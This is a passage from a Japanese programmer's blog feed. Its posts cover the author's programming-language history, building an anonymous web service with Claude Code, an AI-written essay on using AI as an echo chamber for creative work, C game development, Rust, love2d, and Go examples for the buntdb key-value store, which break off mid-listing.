プログラミング言語歴と、好きなプログラミング言語 https://www.neguse.dev/posts/52 https://www.neguse.dev/posts/52 Thu, 18 Sep 2025 00:00:00 GMT
昔はいろいろさわって好みもあったけど、今はあまり特定の言語に執着がなくなってしまった…というのを昔を振り返りながら書いてみる。

# はじめてのプログラミング
高校生のとき部活でゲームづくりのために Visual Basic 6.0 を触り始めたのが初めてのプログラミング経験だった。
ボタンなどのウィジェットをウィンドウに置いていくことで GUI が構築できて、初心者でも視覚的にわかりやすいのがよかった。
(当時は RAD とかポトペタとか言われてた気がする)
入力したプログラムの大文字小文字が間違ってても自動で直してくれる機能もあり、なかなかに便利だった。
そのうちスムーズに動くゲームを作りたくなって、VB のプログラムの性能がそれほど良くない点、また Windows の API を直接操作するのが難しい点がネックになり、大学にかけて C 言語 →C++のほうにいった。(VB で DirectX を使う方法もありはしたが…)

たしか当時 C,C++,Delphi, (もうちょっとあとで D 言語) あたりでゲームを作ってる人たちがいて、一瞬 Delphi も触ったけど結局 C 言語 のほうに行った。
[C 言語 ポインタ完全制覇](https://kmaebashi.com/book/index.html)[エキスパート C プログラミング: 知られざる C の深層](https://ci.nii.ac.jp/ncid/BN14396583)あたりを読んで、基本的な考え方や、いわゆるハッカーノリを知ってプログラミングへの興味が深まった覚えがある。
C++は…最初の頃は better C として使いつつ、少しずつ[赤い本](https://www.amazon.co.jp/dp/475611895X)やら[青い本](https://www.maruzen-publishing.co.jp/book/b10111861.html)やらを読みながら、オブジェクト指向やテンプレートメタプログラミングを学んでいった。ゲームを実装する上では第一選択の言語と思いつつ、その「重さ」(コンパイル時間とか、言語仕様とか)が気になっていった。

# 学生時代
大学時代は C++をメインに使いつつ、それ以外の言語もちょいちょい触っていた。

- Python
  - オフサイドルールや lambda 式、battery included なのがよく、当時好きだった
  - 特定の IDE にロックインされない点もよかった
    - 開発には Visual Studio を使いつつ、それ以外の用途では Vim を使う感じだった
  - Tkinter とかでちょっとしたツールを作ったりした…が配布が面倒だった
- Lisp
  - 図書館で[初めての人のための LISP](https://www.shoeisha.co.jp/book/detail/9784798119410)を読んで、だいぶ感化された
    - その後[The Little Schemer](https://felleisen.org/matthias/BTLS-index.html)も読んだ
    - 竹内先生の最終講義も聞きに行った
  - 研究室の輪読で Scheme を実装したり、TinyScheme の実装 や R5RS を読んだりしてた
- Lua
  - ゲーム開発用の組み込み言語として気になっていた
  - Lua を使うというよりは、Lua の実装を読んでた
- ActionScript3
  - 趣味でちょっとしたゲームを作ってみて、割といいなと思った

[Gang of Four のデザインパターン本](https://www.sbcr.jp/product/4797311126/)とかも読んだけど、「なんかややこしいな~」という印象だった。
そのうち高階関数があたりまえに使えるようになると当時あったデザインパターンも一部不要になり、「高階関数みたいな、シンプルかつパワフルな機能はすごい」という気づきを得た。

# 社会人時代
その後社会人になって、さらにいろいろ触るようになった。ゲームそのものというよりはサーバやツール開発が中心だったが…

- C++
  - オブジェクト指向の功罪(おもに罪)を感じた
  - メモリ破壊バグのつらさ、マルチスレッドプログラミングの難しさを知った
    - C10K 問題, libevent, Boost.Asio…
- C#
  - ASP.NET(WebForms)や Silverlight で、久々にポトペタに戻った
  - LINQ to Objects はめっちゃ便利で、ひたすらこれを使ってた
    - `.Where(x => x > 10)`みたいなやつ、今でもよく使う
  - 型推論も便利だった
  - けっこうレガシーな機能がそのまま残ってて、たとえば「`List<T>`のほうが便利だよ」みたいなのがわからなかった
  - WCF とか Entity Framework とか、なんかゴツいシステムはうまく要件にマッチすると便利だけど、ちょっとでもずれた時につらすぎるな~って思った
- Haskell
  - [Tim Sweeney さんの話](https://pc.watch.impress.co.jp/docs/column/kaigai/555239.html)とか、これからゲーム開発で Haskell 来るんでは…みたいなので盛り上がってた
    - 実際 2025 年の今、ようやく Verse で Haskell の時代が来てそうではある
  - [すごい H 本](https://www.ohmsha.co.jp/book/9784274068850/)とか[ふつうの本](https://www.sbcr.jp/product/4797336021/)、を読んだ
  - 純粋関数、パターンマッチングの強さを知れてよかった
  - 一方遅延評価は難しいな~と思った(どう実行されるか理解しづらいし、消費メモリ量を予想しづらい)
  - 仕事や趣味の開発で使ってはいないけど、勉強になった
- Perl
  - context によって同じシンボルでも意味が変わるのがめちゃくちゃむずい
  - 慣れると、コンパクトな記述ができるところはよい
  - 新しいバージョンの Perl で追加された機能や、古いバージョンでの落とし穴に落ちないための書き方の習得、ルール徹底が難しかった
    - [ラクダの本](https://www.oreilly.co.jp/books/4873110963/)だけではなく、[犬の本](https://www.oreilly.co.jp/books/4873113008/)が必要になった
- Go
  - C++のつらさから解放されたい & 並列処理で性能が出るということで興味を持った
  - 結果、気に入った
    - 言語仕様の小ささ
    - 静的型付による安心感
    - (Python ほどではないが)サーバを実装するための最小限な battery included な感じ
    - standard な formatter があることによる宗教戦争の回避
    - コンパイルした実行ファイルを渡しやすい(ランタイムライブラリのインストール不要)
    - GC、Channel を介した通信、Goroutine による並行処理の書きやすさ
- Erlang
  - [飛行機の本](https://www.ohmsha.co.jp/book/9784274067143/)を読んだ
  - 良さは感じつつも、結局実用する機会はなかった
- Rust
  - C++のつらさからの解放という意味では第一候補…だけどいまいちやるタイミングがない

# 今とこれから
あれこれやってみて、結局どの言語にも好ましいポイント、好ましくないポイントはあって、それは単に言語や処理系だけじゃなくてツールや周辺の環境まで幅広く言えるし、時が経つにつれて自分も環境も移り変わっていくんだなという気持ちになった。

- 今でも好ましいもの
  - 明示的
    - 正格評価
  - シンプルかつパワーがある
    - 言語仕様が小さい
    - 高階関数が使える
  - 実行効率がよい
    - 十分高速に動作する
  - いろんな環境で動かせる
    - 動作に必要なランタイムが薄い
  - バグがおきづらく、未然に防がれる
    - 静的型付
  - 質のよいライブラリが多い or 作りやすい
    - パッケージのフォーマットが決まっており、パッケージマネージャで簡単に入れられる
- 当時好ましかったけど今はそうでもないな~というもの
  - Python の battery included
    - 使うものを選択できてコンパクトに作れたほうが好ましい
  - Python のオフサイドルール
    - リファクタリング等コード編集で崩れるので、明示的に`{}`でブロックのほうが好ましい
  - Lisp の自由度
    - 静的型付のほうが問題が事前に気づけて好ましい
  - 特定の IDE へのロックインのなさ
    - LSP で割と解消された部分も多い
    - とはいえ Unity 開発は Rider が主流、みたいなやつも多い
  - Go の言語仕様
    - 当時はシンプルで好ましかった
    - 今は Generics も入って、古い書き方とごっちゃになるのが好ましくないな~という気持ちがある
      - とはいえ過去のコードを今風に全部書き直すのは現実的ではないというのはわかる
- 一周まわって好ましくなったもの
  - [C 言語](./47)

今は「この言語が好きで、こればっかり書きたい、なんでもこれで書きたい」という気持ちはあまりなくなり、「必要ならなんでも勉強して書くけど(幸い AI で勉強しやすい時代になってるし)、好ましい点が多いほうがいいし、できる範囲で好ましく変えていこう、それは言語だけがどうというよりは、もっと開発全体のバランスを好ましいほうに向けたい」という心持ちでいます。
]]>
unkonowを作りながら https://www.neguse.dev/posts/51 https://www.neguse.dev/posts/51 Sat, 23 Aug 2025 00:00:00 GMT
うんこ中の人が匿名でコミュニケーションできる「unkonow」という Web サービスを作ってみた。

[unkonow](https://unkonow.neguse.net/)

## 初めは思いつきから
もともとは「うんこがビジネスにならんか」みたいな内輪の与太話から、「うんこライフログ的なものってどう?」というアイデアを思いついて作りはじめた。

最初は「うんこログの SNS」という方向性を考えていて、うんこログが SNS 風に公開される+うんこ中はお互いリアルタイムに応援しあえるという内容を考えていた。うんこはかなりプライベートな情報であるから、最初からアカウントは匿名で行こうと思っていた。

[unkonow の最初の仕様](https://gist.github.com/neguse/023ebd71b5001cf11ab50b983263fd5d)

Claude と壁打ちしながら仕様をまとめて、まとまった仕様を Claude Code に食わせて一晩でとりあえず動くところまではできた。が、その後が長かった…

## Claude Code への丸投げ、そして引き取り
当初は雑に思いついた機能を実装するタスクを作って Claude Code に投げるという形で開発を進めていた。
開発はうまくいったりいかなかったりしながら進んでいたものの、開発速度が少しずつ低下していった。

実装作業はほぼ Claude Code に丸投げのいわゆる Vibe Coding で、ことあるごとに「とりあえず t-wada 式で!」「それ t-wada だったらどうすると思う?」と言ってテスト駆動で進めていた。

定型的な機能追加や変更であれば割とシュッとやってくれるんだけど、やや難度が高いタスクは Claude Code 単独では完了が難しかった。
一度詰まってしまうととにかくタスクを完了させるためにめちゃくちゃなことをやりだし、にっちもさっちもいかなくなった。

最初は問題があるごとに 「どうしたら問題起きなかったと思う?」と振り返りをしつつ CLAUDE.md に書き足していくという運用をしていた。
ところが CLAUDE.md が膨れてしまい、それだけでコンテキストを圧迫してしまう事態になった。
もうすこし抽象的な指示のほうがいいかと思い「プロ意識をもって」「コードはコンパクトにきれいに」みたいな基本的な価値観を植え付ける内容を書いたのだけど、これはあまり意味なかった。

またステップごとに「アーキテクト」「テスター」「実装」「レビュワー」という仮想的ロールを切り替えながら、最初に design doc を書いて作業をして、提出前に自己レビューするステップを含めてみたのだけど、こちらもあまり効果がなかった。特にレビュワーと実装者が同じコンテキストを引き継いだ AI なので、細かくチェックすることなく「ヨシ!👈️」となりがちだった。

最終的に自分がコードを全部把握して実装しつつ、相談や UI(CSS の class とか)など限定的な部分だけ書いてもらうような形に落ち着いた。

改めて Claude Code が書いたコードを通読すると一貫性がないというか、機能的に冗長なコードや dead code が多くて、
これは主導権をこっちで握った上でやらないと難しいなという気持ちになった。

人間はコードを読み書きすることで慣れや成長があり、だんだんとアウトプットが速く、品質も良くなることが期待できるのだけど、
今の AI はそれがなくコードベースの肥大化や要件の複雑化によりだんだん悪くなるほうの影響が大きそうだった。
AI にまかせる部分を大きくとりつつもっとうまくやる方法はあるのだろうけど、今のところ自分自身の成長に資するほうがリターンが大きくて、
それの補助のために AI を使うのが得だし、何より作るために学ぶのが楽しいという判断をした。

CLAUDE.mdに書いていたMission Vision Value
CLAUDE.md に書いていた Mission Vision Value

## 大きな方針転換
一方機能面でも 2 つ課題があって、まず 1 つが某トイレメーカーがライフログ的な健康を目的とした機能をもつスマホアプリを出すというニュースが入ってきたこと。
ハードウェア的なスキャナも使った構成となっていて、まあ太刀打ち難しいだろうなと…ということでライフログ方面は当面はやらないことにして、コミュニケーション機能に割り切ることにした。

またもう一点が法律まわりの対応。
公開することを考えて規約やプライバシーポリシーを改めて調べながら書いていたところ、思っていたより個人情報の取り扱いは難しくて、最近さらに難しくなったということを知った。
具体的には、個人情報取り扱い事業者として厳格にやるならプライバシーポリシーあたりに運営者の情報を氏名住所含めて載せる(あるいは請求に遅延なく対応する)ことが必要なのだけど、
個人開発のサービスでそれはちょっとな~…と思い、個人情報を扱わないことに方針を変えた。
もともと匿名ベースのサービスではあったのだけど、永続的なアカウントがあると個人情報として扱われるリスクが上がるため、これを粉砕してすべての情報は短命で消去することとした。

万が一サービスがうまくいったら自宅とは別にオフィスを借りるなどして対応可能だろうけど、
野良の個人開発者ぐらいの規模でまともに個人情報を取り扱う WEB サービスを運営するの、実質不可能ではないかと思っている。
あるいは自宅住所をオープンにするか…

## できたものとこれから
そんなこんなで作ってみて、まあ一風変わったものにはなったかなという気がしている。
一方リアルタイムに人が集まらないと面白さがわからないものなので、どうすれば人が集まるかな~というのも考えないといけない。
まあ手探りでなんとか…なるといいなあ。

今回得た経験として、LLM を使った開発の雰囲気とか期待値、WEB サービス開発技術(Next.js,Hono,Cloudflare)、個人情報保護法などがある。
これらは応用範囲が広いので、他のことをやるときにも活きてきそう。

一方[ブリストルスケール](https://ja.wikipedia.org/wiki/%E3%83%96%E3%83%AA%E3%82%B9%E3%83%88%E3%83%AB%E3%83%BB%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AB)みたいなドメイン知識もあって、これはこれで今回のような取り組みがなければ知らない分野だったので面白かった。知らないことを知るのは楽しい。
]]>
人間よりもAIと語り合え https://www.neguse.dev/posts/50 https://www.neguse.dev/posts/50 Fri, 25 Jul 2025 00:00:00 GMT
(この記事は人間の指示により Claude が書いています)

# 人間よりも AI と語り合え
## 一般的な定説:早期フィードバックの重要性
多くの分野において、作品が完成する前の段階でも積極的に他者に見せ、意見を求めるべきだとする考え方が支配的である。
外部からのフィードバックを受けることで軌道修正が可能になり、独りよがりな結果に陥ることを防げるとされる。

特に重要なのは「外界との差異測定」だ。自分の現在地を客観視するには、外部の視点が不可欠である。
情報をキャッチアップし、自分のアウトプットを他者と比較することで、世間との乖離度を把握できる。
これをしなければ、いわゆる「ガラパゴス化」に陥る危険性がある。
閉じた環境で独自の進化を遂げた結果、外部との互換性を失い、最終的に淘汰されるリスクを避けるためにも、早期の外部接触が推奨される。

## しかし創作においては事情が異なる
創作活動においては、ある程度形になるまで他人に話したり見せたりしないほうが良いという説がある。

途中段階でのアウトプットは「ガス抜き」になってしまい、創作に必要なモチベーションが保たれなくなる。
作品への内的な圧力、いわば「[内圧](https://www.youtube.com/watch?v=X6FcraeKrSM)」こそが創作の原動力であり、これを早期に解放してしまうことは創作エネルギーの浪費に他ならない。

さらに、創作においてはガラパゴス化を必ずしも否定的に捉える必要はない。
外部との接触を意図的に遮断し、エコーチェンバー的な環境で自分の考えを「煮詰める」ことにより、他では生まれ得ない独特な発想や表現が生まれる可能性がある。
創作物の価値はその独自性にこそ宿るのであり、世間との適合性を早期に求めることは、かえって作品の尖った魅力を削ぐ結果を招くかもしれない。

内輪でしか通じない言葉や概念、一般的でない文化的記号。これらは確かに「ガラパゴス的」だが、同時に他にはない創作の源泉でもある。

## AI による効率的な煮詰め環境
従来、この「煮詰め」のプロセスは完全に孤独な作業であった。
しかし現在では、AI との対話という新しい選択肢が生まれている。
AI を壁打ち相手として使用することで、人間との早期接触によるガス抜きリスクを回避しつつ、自分の考えをより深く煮詰めることが可能になった。

AI は人間に忖度するよう設計されており、基本的にはユーザーの意向に沿うような応答をする。
「反論して」「pros/cons 挙げて」といったプロンプトで多少の改善は図れるが、完全ではない。
しかし創作においては、このエコーチェンバー的特性こそがプラスに働く。

AI との対話は本質的には自分との対話の延長である。外部の人間による価値観の押し付けや、社会的な妥協を強いられることなく、自分の発想を肯定的に受け止めてもらいながら展開できる。
これにより、他者の目を気にせずに極端で独特なアイデアを追求し、より徹底的に煮詰めることが可能になる。

人間との対話では躊躇してしまうような突飛な発想も、AI となら安心して展開できる。
創作分野においては、むしろこの戦略的孤立こそが価値を生む。
]]>
意見の言い方と人生 https://www.neguse.dev/posts/49 https://www.neguse.dev/posts/49 Tue, 15 Jul 2025 00:00:00 GMT
自分はある主張 A を聞いた時、それの反対となる主張 B を「こういう意見もあるよ」って言いたくなるんだけど、それを言った時に「喧嘩売ってる?」というふうにとられることがあるな~ということに気付いた。
ほぼ 40 年生きてていまさらという感じだが…最近そういう事例があったということはなく、過去の人生を振り返って考えると、そういうことだったか~と気付いたという話。

自分はあまり自分の考えが正しいというスタンスはとっていなくて、「いろんな意見はあって当たり前」「完全な正解というのはなく、前提や条件によって良いと思える選択が変わるだけ」と思っている。
あと自分の性質としてそもそも最初から最良と思える選択を自信もって提供できることが稀であること(まあ優柔不断ではある)、なんか検討する時はいろんな視点からものを考えたほうが良い選択ができると思っていること、主流からはずれたアイデアを大事にしがちなこと、マクドナルド理論的な意味で雑でもアイデアはどんどん言っていくべきと思っているため、対立しやすい意見を言うことが多いのかもしれない。
そもそも自分の主張がスッと合意を得られないことも当たり前だし…

(話がそれるけど、「マクドナルド理論」という用語、マクドナルドに失礼な気がする)

「喧嘩売ってる?」側の気持ちとしては、自分の意見を否定された=自分を否定された=喧嘩売ってる、という受け取り方なんだろうかと思う。
当然意見そのものを、まして人を否定しているつもりはないのだけど、A という主張を強く信じている人に対して、「こういう意見もあるよ」という言い方は「うるせ~!知らね~!」となりそうな気もする。
特にその考え方が長年の経験や考察を経て構築されたものであれば、人生を軽んじていると捉えられるのもしょうがないかもしれない。  
じゃあどうすればいいのか。最初は「なるほどね~」って言いつつ、「自分がそういう(両論おさえておきたい)考え方だとわかってもらう」のがいいかなと思う。
たとえば「一応 B という案も考えておきたい」「もし B という主張をされたらどう反論する?」みたいな言い方をするとか。

…という話を Claude に「批判的にみてどう?」と投げたら手厳しい話をされて涙目になった。
特に「自分は主張があるのに相手はフワフワしたことしか言ってこない!安全地帯から石投げてきてるみたいでずるい!」「相手は解決や合意を求めてるのに、あなたは議論そのものを目的にしてる」みたいな話をされて割と刺さった。

まあ難しいけど、やっていきましょう、人生。
]]>
ノートパソコンの天板を保護する方法 https://www.neguse.dev/posts/48 https://www.neguse.dev/posts/48 Tue, 15 Apr 2025 00:00:00 GMT
ノートパソコンの天板を保護する方法を調べてたのですが、車用のラップシートを使うのがよさそう

貼り方:
]]>
2025年にC言語でゲームを作る https://www.neguse.dev/posts/47 https://www.neguse.dev/posts/47 Mon, 24 Mar 2025 00:00:00 GMT
いまどきゲームを作るとしたら便利なゲームエンジンがいくらでもあるけど、あえて C 言語で作るということを考えてみる。案外なんとかなるし便利な側面も多いのではというのが言いたいこと…だけど書いてたらなんかとりとめがなくなってしまった。

コード駆動ゲームプログラミングという概念(今考えた)があると思っていて、よくあるゲームエンジンはアセットデータがあってシーンにオブジェクトを置いて…みたいなのをデータとコードと行き来しながら作ってくものだという理解をしているんだけど、コード駆動だととにかくコードで全部実現する(データもコードに埋め込まれることが多い)みたいなやりかたで作ることになる。これがプログラマが 1 人でシンプルなゲームを作るという範囲にうまくマッチしているように思う。やっぱり main()から書きたいんですよ。今どきな話でいうと LLM による vibe coding との相性がよさそうというのもある。

C 言語で書くといっても全てを自分で書く必要はなくて、マルチプラットフォーム対応なライブラリがまあまあある。

[stevinz/awesome-game-engine-dev: Awesome list of resources for Game Engine Development.](https://github.com/stevinz/awesome-game-engine-dev?tab=readme-ov-file#c%3E)

たとえば[SDL](https://www.libsdl.org/)はメジャーバージョン 3 が最近出たし、[floooh/sokol](https://github.com/floooh/sokol)というのも活発に開発されている。SDL は単体だと 3D の表示ができないので OpenGL とかと組み合わせて使うことになるけど、OpenGL を使うと MacOS や iOS でそのうち動かなくなるんでは…というのは気になる。まあ今のところその需要は自分の中で高くないし、動かなくなって困ったらその時はその時で…と思ってる。sokol はちょっと使った感じ、複数の描画バックエンド/対応プラットフォームを持ってて悪くはないけど、まだまだ API の破壊的変更が行われてたりして付いていくのが大変そうな印象をもった。

その上で、他の言語じゃなくてなんで C 言語なの?ってところはあるけど、何か困った時にコードを追ったり手直しができる範囲が大きいのがいいところかなあと。何かしらの既存のライブラリを組み込むのも容易だし、問題があればデバッガで処理を追っていける。C 言語でライブラリを書いた上で Lua のような言語を組み合わせるのも悪くはない([love2d](https://love2d.org/)とか良く出来てる)…が、複数の言語や処理系の組み合わせによって作られているプログラムはそれぞれデバッグする必要があって面倒という話が出てくる。

C 言語は最近の言語と違って言語処理系自体にパッケージ管理の仕組みが備わっていなくて、ライブラリをビルドして path を通してというライブラリを導入するまでの手間がまあまあある。これをなんとかする仕組みとして、header-file library という風習と vcpkg というパッケージマネージャを紹介する。

C のライブラリは header-file として提供されているものもある。代表的なのが[stb](https://github.com/nothings/stb/tree/master)。header-file として提供されているライブラリであれば、使う人はヘッダファイルを#include するだけでよい。C 言語だと.h と.c という 2 種類のファイルに分けて.h に関数宣言、.c に関数定義を書くというスタイルになっていることが多いけど、header-file ライブラリは.c に相当する内容を得るために「事前にこの HOGE_IMPLEMENTATION マクロを定義しておけば関数定義に相当する部分を得られるよ、どこか 1 つの.c から#include してね」というものを提供していたりする。なんだったらヘッダファイルをプロジェクトにコピーしてしまえば簡単にリポジトリに含めることもできるし、ライブラリを導入するまでの手数が(C 言語にしては)めっちゃ少ない。

vcpkg は Microsoft が主体となって開発しているパッケージマネージャ。ライブラリもライブラリを利用する側も CMake で管理されている場合にいい感じにビルド方法を統合してくれる。([一応 CMake 以外でも使えるっぽい](https://learn.microsoft.com/ja-jp/vcpkg/users/buildsystems/manual-integration)が… )。

細かいところでいうと、C99 の指示付初期化という構文がめっちゃ便利。複雑な構造体や配列の入れ子構造をサクッと初期化できる。 [例](https://github.com/floooh/sokol/blob/bcdf25ae58c4fe82cd444ea1ce3f1b8f2532c7ed/tests/functional/sokol_gfx_test.c#L2868-L2871)。C++20 で[C++でも一部使えるようになった](https://cpprefjp.github.io/lang/cpp20/designated_initialization.html)けど、配列には対応してないっぽい。

ここまで書いておきながら、自分は operator overload が使いたいので結局 C++を使うんですが… [n3051](https://www.open-std.org/jtc1/sc22/wg14/www/docs/n3051.pdf)きてくれ~

というふうなことを考えながら[neguse/ng](https://github.com/neguse/ng)というライブラリを作っています。裏で作ってる機能がちょいちょいあるけどまだ public repo に出せてない…
]]>
Rustはじめ https://www.neguse.dev/posts/46 https://www.neguse.dev/posts/46 Wed, 01 Jan 2025 00:00:00 GMT
[Rust by Example](https://doc.rust-lang.org/rust-by-example/ja/index.html)をやってみている。

9 章で closure と借用の話がでてきてなんのこっちゃ感が強まったけど、15 章で move の話とかが出てくるっぽいので一旦わからないまま進めたほうがよさそう。

[ポインタと ref](https://doc.rust-lang.org/rust-by-example/ja/flow_control/match/destructuring/destructure_pointers.html) match の中で ref mut を使うのが最初よくわからなかったけど、mut だけだと変更が local に閉じるし ref だけだと変更できないということっぽい

[let-else](https://doc.rust-lang.org/rust-by-example/ja/flow_control/let_else.html) この構文はめっちゃ便利そう。Go でいう if err := Do(); err != nil { return err; } みたいな…

tumblr で code を整形しないで書くの、どうやればいいんだ…
]]>
love.js https://www.neguse.dev/posts/45 https://www.neguse.dev/posts/45 Fri, 20 Sep 2024 00:00:00 GMT
love2d がブラウザで動けばいいな~と思って調べていたら、こちらのリポジトリを見つけた

[GitHub - 2dengine/love.js: Standalone player used for running LÖVE apps and games on the web](https://github.com/2dengine/love.js)

さっそく以前作ったゲームが動くか試してみたところ、ちゃんと動いてそうだった

[Super Jump And Dash Man by neguse](https://neguse.itch.io/superjumpanddashman)

いい感じ。これなら自分でエンジンやライブラリ開発を頑張らないで、love2d でもりもりゲーム作っていくのでいいのではという気持ちになった
]]>
めっちゃ長いブロック崩しを作った話 https://www.neguse.dev/posts/44 https://www.neguse.dev/posts/44 Sun, 01 Sep 2024 00:00:00 GMT
[super looo0000ong break block by neguse](https://neguse.itch.io/super-looo0000ong-break-block)

ジャム用にめっちゃ遅いブロック崩しを作って考えたことを雑に。

一般的にゲームスピードは速ければ速いほど難しいと思うけど、逆にめっちゃ遅くするとそれはそれで難しくなるという気づきがあった。現在のボールの進行方向がわかりにくい。ゲームが長時間になるため休憩や睡眠をどう取るかの戦略が必要。これはもはやスポーツゲームなのでは(肉体に挑戦するという意味で)。最初は着弾まで 1 日ぐらいかかってた気がするけど、さすがにジャム中になんも動かないと試遊した人に怒られそうと思って 20 分ぐらいにした。

ジャムの結果は思ったよりはよかったけど賛否両論(否の方がまあ多い)という感じで、少数でも賛があるなら成功と思ってる。どっちにも尖れないのが一番よくない。もっと尖っていこう。

pico8 は思ったより少機能低スペックで、だからこそ作り込める余地が少なくて良いとは思いつつ、最終的には枷を外せるような環境がいいなと思った。love2d は機能セットはいい感じに揃ってていいけど、いろんなブラウザでちゃんと動くのかが未知数なんだよな〜。細かいところでは、print 命令がめっちゃ便利でデバッグ機能これでけっこう事足りるんではと思った。あと実時間を取る方法がけっこうむずくて(timegm っぽい関数を自前実装した)うーんってなった。

「ブラウザでまともに動くものが作れる」「シンプル」「四角や丸などプリミティブが一命令で描画できる」「デバッガが使える」あたりを、いい感じに拡張の余地がありつつ提供してくれる何か…欲しい!
]]>
super looo0000ong break block https://www.neguse.dev/posts/43 https://www.neguse.dev/posts/43 Thu, 22 Aug 2024 00:00:00 GMT
[super looo0000ong break block by neguse](https://neguse.itch.io/super-looo0000ong-break-block)
]]>
雑なアウトプットをしていきたい https://www.neguse.dev/posts/42 https://www.neguse.dev/posts/42 Sat, 04 May 2024 00:00:00 GMT
[SNKRX](https://store.steampowered.com/app/915310/SNKRX/?l=japanese)を開発したゲーム開発者のブログを最近読んでいる

[Thoughts on making small games - a327ex](https://a327ex.com/posts/small_games)

[Lessons learned from releasing my second game - a327ex](https://a327ex.com/posts/lessons_second_game)

いろいろと気付きがあって面白い。2~3 日で作って 1~2 ヶ月で整えるぐらいの規模いいな~とか、SNS で承認欲求を満たせてしまうとゲームづくりそのものへの熱が減ってしまうな~とか、作ったゲームが当たるかどうか運とはいえ運まかせでたくさんゲームを作るのはモチベーションの面で大変そうだな~とか。

別の話で、The 20 Games Challenge というのを知った。既存のゲームを真似て実装することでゲーム作りの方法を学ぶことができるらしい。

pico8 か love2d あたりで小さいゲームをちょこちょこ作るやつをやろうかな~と考えている。個人的興味・志向としてはエンジン部分も作りたさはあるけど、まず **ある程度の品質の**([デモのレベル](https://neguse.itch.io/superjumpanddashman)でない、たとえば[ジューシーな装飾](https://abagames.github.io/joys-of-small-game-development/make_game_juicy.html)がされている) ゲームがどういうふうに作れるのかというのを知らないとどうしたらいいかわからんな~という…今まではエンジンとゲームを両方同時に作ったり、毎回エンジンを変えたりしていたけど、それだとコードとして再利用可能な形で積み重なるものが少ない(多少なり経験にはなると思うけど)

pico8 は解像度が低かったり、他の人のソースコードを見て勉強しやすそうなところ、BBS による配布の仕組みが揃っているのがよさそうに見えている。love2d は以前使った時に割と機能の揃い方がよかったのと、SNKRX や Balatro でも使っててよいかな~と思っている。いずれにせよ絵作り(2D, 3D どっちも)の力があんまりない状況でなんとかなるようになってほしい。
]]>
ここ https://www.neguse.dev/posts/41 https://www.neguse.dev/posts/41 Sun, 02 Jul 2023 00:00:00 GMT
ここです

(補足:なんか SNS の調子が悪くなってる時期だった気がする)
]]>
回転寿司 https://www.neguse.dev/posts/40 https://www.neguse.dev/posts/40 Fri, 19 Nov 2021 00:00:00 GMT
よくまわります。
[https://rsushi.neguse.net/](https://href.li/?https://rsushi.neguse.net/)
]]>
buntdb について https://www.neguse.dev/posts/39 https://www.neguse.dev/posts/39 Thu, 18 Mar 2021 00:00:00 GMT
## buntdb とは
[tidwall/buntdb](https://github.com/tidwall/buntdb)は Pure Go で書かれた KVS ライブラリ。 インメモリで処理を行うが、ディスクに永続化することもできる。またトランザクションや Index がある。 Go からは [mattn/go-sqlite3](https://github.com/mattn/go-sqlite3)を使えば SQLite が使えるが、 SQLite は cgo が必要なので、環境によってはややビルド方法などで気を使う必要がある。 そのため Pure Go で使える DB ライブラリがほしかった。 buntdb は KVS なので SQLite ほど柔軟にクエリや集計できるわけではないが、用途によっては使えるかと思った。

## シンプルな使い方
[https://play.golang.org/p/wSHTfPSmmHp](https://play.golang.org/p/wSHTfPSmmHp)

```text package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // 読み書きができるトランザクションを生成 db.Update(func(tx *buntdb.Tx) error { // レコードの登録 tx.Set("key3", "value3", nil) tx.Set("key1", "value1", nil) tx.Set("key2", "value2", nil) return nil // エラーが返らない場合コミットされる }) // 読み込みのみのトランザクションを生成 db.View(func(tx *buntdb.Tx) error { // 全レコードを昇順でイテレート tx.Ascend("", func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) } ```
結果
```text key1 value1 key2 value2 key3 value3 ```
- トランザクションは、読み書き, 読み込みのみ, どちらの場合も関数として表現する - Key も Value も string 型 ## Index を使う [https://play.golang.org/p/tchBZ89nFwy](https://play.golang.org/p/tchBZ89nFwy)
```text package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // keyに`key:`というprefixがつくレコードを対象に、valueを文字列としてソートする`indexstr`という名前のインデックスを生成 db.CreateIndex("indexstr", "key:*", buntdb.IndexString) // keyに`key:`というprefixがつくレコードを対象に、valueを数値としてソートする`indexint`という名前のインデックスを生成 db.CreateIndex("indexint", "key:*", buntdb.IndexInt) db.Update(func(tx *buntdb.Tx) error { tx.Set("key:1", "13", nil) tx.Set("key:2", "2", nil) tx.Set("key:3", "9", nil) return nil // エラーが起きていなければ自動でコミットされる }) db.View(func(tx *buntdb.Tx) error { fmt.Println("iterate over indexstr") tx.Ascend("indexstr", func(key, value string) bool { fmt.Println(key, value) return true }) fmt.Println("iterate over indexint") tx.Ascend("indexint", func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) } ```
結果
```text iterate over indexstr key:1 13 key:2 2 key:3 9 iterate over indexint key:2 2 key:3 9 key:1 13 ```
- Index の対象とするレコードは、Key のパターンで指定する - パターン文字列には\*(任意の文字列)と?(任意の 1 文字)が使える [https://pkg.go.dev/github.com/tidwall/match#Match](https://pkg.go.dev/github.com/tidwall/match#Match) ## Multi Value Index を使う [https://play.golang.org/p/eEMPdWVoy6X](https://play.golang.org/p/eEMPdWVoy6X)
```text package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // 全レコードを対象に、valueをJSONとみなしてi1, i2の値の順にソートする`index`という名前のインデックスを生成 db.CreateIndex("index", "*", buntdb.IndexJSON("i1"), buntdb.IndexJSON("i2")) db.Update(func(tx *buntdb.Tx) error { var err error records := []struct { Key string Value string }{ // 値が文字列 {Key: "s12", Value: `{"i1":"1", "i2":"2"}`}, {Key: "s21", Value: `{"i1":"2", "i2":"1"}`}, {Key: "s22", Value: `{"i1":"2", "i2":"2"}`}, {Key: "s322", Value: `{"i1":"3", "i2":"22"}`}, {Key: "s32", Value: `{"i1":"3", "i2":"2"}`}, {Key: "s11", Value: `{"i1":"1", "i2":"1"}`}, {Key: "s31", Value: `{"i1":"3", "i2":"1"}`}, {Key: "s33", Value: `{"i1":"3", "i2":"3"}`}, // 値が数値型 {Key: "n12", Value: `{"i1":1, "i2":2}`}, {Key: "n21", Value: `{"i1":2, "i2":1}`}, {Key: "n22", Value: `{"i1":2, "i2":2}`}, {Key: "n322", Value: `{"i1":3, "i2":22}`}, {Key: "n32", Value: 